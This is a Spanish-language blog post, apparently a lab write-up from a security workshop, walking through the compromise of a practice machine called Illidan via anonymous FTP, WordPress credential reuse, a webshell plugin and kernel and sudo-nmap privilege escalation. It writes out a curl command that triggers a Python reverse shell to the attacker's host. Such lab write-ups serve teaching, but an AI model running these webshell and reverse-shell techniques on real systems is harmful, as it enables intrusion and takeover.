[Euskalhack IV]: Pentesting4ever – Illidan

Buenas!

Como comenté tanto en RRSS como en el taller «Pentesting4ever» que impartí en Euskalhack voy a escribir las soluciones de las máquinas que vimos. En esta primera entrada vamos a ver el write-up de la máquina Illidan.

Como ya sabéis el nivel del taller era intermedio dónde se verían máquinas de las llamadas «casos de uso», en las que destacarían fallos de configuración y en menor medida de versión.

El write-up se divide en tres partes:

  • Enumeración
  • Explotación
  • Escalada de privilegios.

Enumeración

Empleando nmap escaneamos los puertos abiertos en la máquina objetivo identificando los servicios que se ejecutando sobre ellos.

Realizando una enumeración básica:

Aplicando una enumeración con la opción «-sC» a los puertos abiertos:

Respecto a SMB:

Se identifican los servicios FTP (21) y SSH(22), HTTP(80) y SMB (445) como más destacados. También, tiene abiertos puertos de correo IMAP y POP3.

Lo primero que nos tiene que llamar la atención es el puerto 21 que tiene habilitado el acceso mediante anonymous. Para acceder tenemos diferentes maneras:

  • Web: sustituyendo http por ftp, siendo: ftp://192.168.0.161
  • Aplicaciones de escritorio como filezilla.
  • Desde el terminal con un cliente FTP.

Se empleará esta última opción:

Se identifica el banner del servidor vsFTPd 2.3.5, que buscando vulnerabilidades no parece que tenga para la versión instalada. Por lo tanto, se está utilizando un típico error de configuración por defecto que los sysadmin olvidan cambiar al sacar a producción.

Navegando por el servidor se identifica el fichero «secret.txt» y el directorio TODO, que contiene ciertos ficheros de temas pendientes y de una migración. Tras analizar todo, no parece que haya sido de mucha ayuda. Sin embargo, siempre es recomendable ver todo y no sólo lo que vemos de a primera vista, para ello con la opción «a» de «ls» podemos detectar los ficheros ocultos, identificando un fichero de backup:

Donde aparece una posible contraseña junto la típica ruta de login de wordpress.

Efectivamente si accedemos al puerto 80 veremos un wordpress instalado. Se trata del típico blog de recetas de un cocinitas, algo bastante típico de encontrar por Internet. Directamente podríamos acceder al login e introducir la contraseña utilizando como nombre de usuario admin, pero no funciona….

Si no hubiéramos visto lo del FTP, podríamos apoyarnos en herramientas como wpscan, CMSmap y demás, que podéis encontrar aquí. Por ejemplo, se puede apreciar que se trata de una versión de wordpress bastante desactualizada, por lo que también se podrían buscar posibles vulnerabilidades.

Ahora bien es sabido que wordpress tienen diferentes enumeraciones de usuarios. Aplicando la basada en author, se identifica a los usuarios: sean y cocinitas. Probando con el primero de ellos, se logra acceder con el perfil de administrador.

Otra opción hubiera sido emplear la herramienta cewl, que crea un diccionario a través del código fuente de la web recogiendo keywords. De esta manera, también aparece el usuario sean

La desventaja de esta opción es que es mucho más tediosa y si la aplicación tuviera bloqueo de cuentas o captcha sería prácticamente imposible.

Para poder autenticarse ya vimos en la primera sesión del taller un efecto demo (muy novato por mi parte) que la base de datos de wordpress almacena hardoceada la dirección IP de la instalación en lugar de la ruta absoluta. Un asistente muy hábilmente indicó una solución para poder continuar basada en iptables:

iptables -t nat -A OUTPUT -d 192.168.0.161 -j DNAT –to-destinatation [IP]

donde IP es la dirección IP que tenga la máquina objetivo.

Con el acceso como administrador a wordpress finaliza la fase de enumeración y comienza la de explotación.

Explotación

El objetivo es lograr acceso remoto a la máquina.

Una de las finalidades del taller era ofrecer a los asistentes diferentes caminos de explotación y escalada de privilegios, por lo tanto, a continuación se indican diferentes maneras.

1- Acceso por SSH

Una de las primeras opciones más inesperadas, pero que siempre se debe probar es la reutilización de contraseñas. Probando las credenciales del usuario sean de wordpress:

2- Subida webshell disfrazada de plugin

Para ello, utilizaremos este plugin: https://github.com/leonjza/wordpress-shell. Recordad para subir hay que hacerlo mediante un .zip, no como php.

Una vez subido para ejecutarlo:

Para obtener una shell reversa, podemos utilizar:

curl -v «http://192.168.0.161/wp/wp-content/plugins/shell/shell.php?$(python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.0.162»,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’)»

Este proceso se puede automatizar mediante la tool WPForce, que contiene dos módulos wpforce.py para realizar fuerza bruta contra el login de wordpres y yertle.py que conociendo las credenciales permite subir un plugin con una shell y devuelve una shell reversa. Agradecer el descubrimiento de esta tool a los compis de hackplayers de un write-up de HTB.

Llegando la shell reversa:

3. Modificar contenido wordpress

La opción más artesana es modificar algún fichero de wordpress introduciendo una shell reversa o webshell. Por ejemplo, se puede modificar el fichero 404.php.

De esta manera, al forzar un error se ejecuta o bien al accediendo a dicho fichero dentro del theme de wordpress. A continuación, se muestra un ejemplo de una webshell:

Escalada de privilegios

Una vez logrado el acceso remoto, el objetivo es lograr ser el usuario con mayores privilegios, esto es, root.

Esta parte se continuará desde el acceso SSH con el usuario sean. Al igual que en la fase explotación hay más de una manera de escalar privilegios.

1.Vulnerabilidad kernel y SSOO

En primer lugar, se comprueba la versión de kernel, sistema operativo y arquitectura:

Nada más ver el kernel se puede apreciar que está muy desactualizado. Haciendo una pequeña búsqueda en Google: «local root ubuntu 12.04», encontramos:

Seleccionando la primera de ellas (https://www.exploit-db.com/exploits/37292) se descarga el exploit en nuestra máquina atacante y tras comprobar que la máquinas víctima tiene gcc y wget instalados, se transfiere, se compila, se dan permisos de ejecución y se ejecuta:

Logrando de esta manera, ser root gracias una vulnerabilidad de versión.

2.Vulnerabilidad software instalado

Comprobando si el usuario tiene permisos para ejecutar sudo, esto es, sudo -l

Parece que en la máquina se encuentra instalado nmap, siendo además un versión muy antigua:

Aplicando búsqueda de permisos SUID aparecía la ruta de nmap que también nos debería llamar la atención.

A través de esta vulnerabilidad con permisos de sudo es posible escalar privilegios a root:

Adicionalmente, se puede acceder /var/www en donde se encuentra instalado wordpress y acceder wp-config para obtener las credenciales de la base de datos.

Accediendo a la base de datos vemos la versión 5.5.54 que en principio tiene una vulnerabilidad de escalada de privilegios: https://www.exploit-db.com/exploits/40679

Quién sabe también comprobar si hay reutilización de contraseñas para root.

Al final se ha ido al grano para no hacer el write-up excesivamente largo, pero en las diapositivas tenéis una checklist de pruebas de enumeración, así como herramientas en las que apoyarse.

Nos vemos en la siguienta entrada 😉

Saludos.

N4xh4ck5

La mejor defensa es un buen ataque

2 comentarios en «[Euskalhack IV]: Pentesting4ever – Illidan»

Los comentarios están cerrados.